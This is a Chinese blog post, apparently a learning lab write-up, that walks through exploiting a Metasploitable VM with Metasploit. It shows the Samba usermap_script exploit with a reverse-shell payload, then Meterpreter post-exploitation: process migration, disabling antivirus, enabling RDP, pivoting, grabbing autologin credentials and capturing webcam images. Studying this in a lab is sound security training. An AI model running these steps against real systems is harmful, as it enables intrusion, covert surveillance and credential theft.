前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Metasploit实战

Metasploit实战

作者头像
h3110_w0r1d
发布2024-03-23 10:04:20
1060
发布2024-03-23 10:04:20
举报

Metasploit实战

靶机选择

  1. 本次我选择的是Download Metasploitable (sourceforge.net) Metasploitable靶机
  2. 使用vmware进行挂载

渗透测试过程

信息搜集

因为使用vmware在本地进行挂载,所以需要先找到目标靶机的IP

先在kali中使用ifconfig查找到eth0的IP地址

对该地址进行C端地址扫描,nmap -sP 查找存活主机

代码语言:javascript
复制
nmap -sP

因为kali是134,目标靶机是在kali开启后进行挂载的,可以直接判断为地址要大于134

对剩余的地址进行nmap -sV,查看目标靶机开启的服务

代码语言:javascript
复制
nmap -sV

看到有Samba smbd 3.X - 4.X服务在运行,SMB是在局域网上共享文件和打印机的通信协议,在局域网内使用Linux和Windows系统的机器之间提供文件和打印机等资源的共享服务

漏洞利用

进入msf,使用如下命令进行Samba漏洞利用模块的扫描

代码语言:javascript
复制
seasearch samba

分别查看rank一列的漏洞,其中excellent为漏洞最容易利用成功的(时间最新的)

查看漏洞详细信息

代码语言:javascript
复制
info + 漏洞名称
info exploit/multi/samba/usermap_script

输入如下 use 命令使用漏洞利用模块:

代码语言:javascript
复制
use exploit/multi/samba/usermap_script

可以看到metasploit命令提示符更改为msf exploit(具体攻击载荷名称)

因为目标是Linux机器,所以一定要采用Linux的攻击载荷,使用如下命令可以查看具体攻击载荷列表

代码语言:javascript
复制
show payloads

使用set命令选择payload、攻击IP地址、利用端口号、攻击IP地址

代码语言:javascript
复制
set PAYLOAD cmd/unix/reverse  这里是反向攻击载荷模块
set RHOST xxx.xxx.xxx.xxx 被攻击主机IP地址
set RPORT xxx 利用端口号
set LHOST xxx.xxx.xxx.xxx 设置攻击主机IP地址
show options 查看参数是否已经设置正确

成功拿下

攻击成功后,在攻击机和目标机之间会建立一个Shell连接,渗透Windows及其它操作系统的过程类似,只是选择的Payload和漏洞利用模块不同

使用一些命令可以查看目标机的信息

后渗透攻击——信息搜集

Meterpreter

  1. Meterpreter是Metasploit的后渗透工具,可以在被攻击的进程内工作,不需要创建新的进程,且易于在多个进程之间迁移

进程迁移

刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的

例如攻击者利用浏览器漏洞攻陷目标机器,但是攻击渗透后浏览器可能被用户关闭

所以第一步是移动这个Shell,将它和目标及中的某一个稳定的进程绑在一起

不需要对磁盘进行任何写入操作,例如写马可能被杀

使用如下命令获取目标机正在运行的进程

代码语言:javascript
复制
ps

使用如下命令查看Metapreter的进程号

代码语言:javascript
复制
getpid

麻了,没有getpid工具,但是有gcc,自己写!

代码语言:javascript
复制
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

void main()
{
    pid_t idp,id;
    idp = getppid();
    printf("ppid= %d\n",idp);
    id = getpid();
    printf("pid= %d\n",id);
}
  1. google了一下,也可以使用下面的命令
代码语言:javascript
复制
 echo $$
  1. 使用migrate将shell移动到稳定进程中
  2. 进程完成迁移后,原先PID下的Shell会自动关闭
  3. 如果没有自动关闭,需要用kill手动杀死进程

普通shell如何进入meterpreter

使用如下命令将shell放在后台

代码语言:javascript
复制
background

进入刚刚的session会话

代码语言:javascript
复制
sessions -u <编号>

查看新生成的session编号

代码语言:javascript
复制
sessions -l

进入新的meterpreter session

代码语言:javascript
复制
sessions -i 新的session编号

系统命令

  1. 获得了稳定的进程后,接下来收集目标机的系统信息
查看系统信息

输入如下命令查看目标机的系统信息

代码语言:javascript
复制
sysinfo
查看是否运行在虚拟机上

输入如下命令查看目标机是否运行在虚拟机上

代码语言:javascript
复制
run post/windows/gather/checkvm
查看是否在运行

检查目标机是否正在运行

代码语言:javascript
复制
idletime

emmmm,靶机系统架构不允许

查看目标机完整的网络设置

输入如下命令查看目标机完整的网络设置

代码语言:javascript
复制
route
会话放后台

除此之外,可以将会话放到后台,此命令适合在多个Meterpreter会话的场景下使用

代码语言:javascript
复制
background
查看已成功渗透的用户名

输入如下命令查看当前目标机上已经渗透成功的用户名

代码语言:javascript
复制
getuid
关闭系统杀毒软件

关闭目标机系统杀毒软件

代码语言:javascript
复制
run post/windows/manage/killav
启动远程桌面协议

启动目标机远程桌面协议,也就是3389端口

代码语言:javascript
复制
run post/windows/manage/enable_rdp
查看目标机本地子网情况,添加路由,改为跳板

查看目标机本地子网情况

代码语言:javascript
复制
run post/windows/manage/autoroute

先将meterpreter隐藏在后台,使用background命令

然后输入route add命令添加路由,添加成功后输入route命令进行查看,注意命令格式

这时一条路由就被添加到已攻陷主机的路由表中了,可以借助被攻陷主机对其它网络进行攻击(跳板)

查看当前有多少用户登录目标机
代码语言:javascript
复制
run post/windows/gather/enum_logged_on_users
列举安装在目标机上的应用程序
代码语言:javascript
复制
run post/windows/gather/enum_applications
抓取自动登录的用户名和密码

用户如果将计算机设置为自动登录,如下命令可以抓取自动登录的用户名和密码

代码语言:javascript
复制
run windows/gather/credentials/windows_autologin

如果没有抓到任何信息,就需要用到拓展插件Espia,先输入load espia命令加载此插件,然后输入screengrab命令抓取此时目标机的屏幕截图(仅限于Windows系统)

摄像头

查看目标机是否有摄像头的命令如下

代码语言:javascript
复制
webcam_list

输入如下命令打开摄像头,拍一张照片

代码语言:javascript
复制
webcam_snap

开启直播模式

代码语言:javascript
复制
webcam_stream
进入目标机的Shell

输入如下命令进入目标机的Shell下面

代码语言:javascript
复制
shell

当meterpreter的命令前缀消失时,即进入了shell,退出了meterpreter

后渗透攻击——权限提升

  1. 通常,进入时只获得了一个guest或者普通User权限,在实施横向渗透攻击和提权攻击时将会很困难
  2. 需要将权限由Guest->User->Administrator->System
  3. 渗透的最终目的是获取服务器的最高权限
提权分类
  1. 纵向提权:低权限角色获取高权限角色的权限
  2. 横向提权:获取同级别角色的权限
提权过程
  1. 输入shell命令进入目标机的CMD命令行
  2. 输入whoami/groups命令查看现在的权限
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2024-03-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Metasploit实战
    • 靶机选择
      • 渗透测试过程
        • 信息搜集
        • 漏洞利用
      • 后渗透攻击——信息搜集
        • Meterpreter
        • 进程迁移
        • 普通shell如何进入meterpreter
        • 系统命令
        • 后渗透攻击——权限提升
    相关产品与服务
    云直播
    云直播(Cloud Streaming Services,CSS)为您提供极速、稳定、专业的云端直播处理服务,根据业务的不同直播场景需求,云直播提供了标准直播、快直播、云导播台三种服务,分别针对大规模实时观看、超低延时直播、便捷云端导播的场景,配合腾讯云视立方·直播 SDK,为您提供一站式的音视频直播解决方案。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档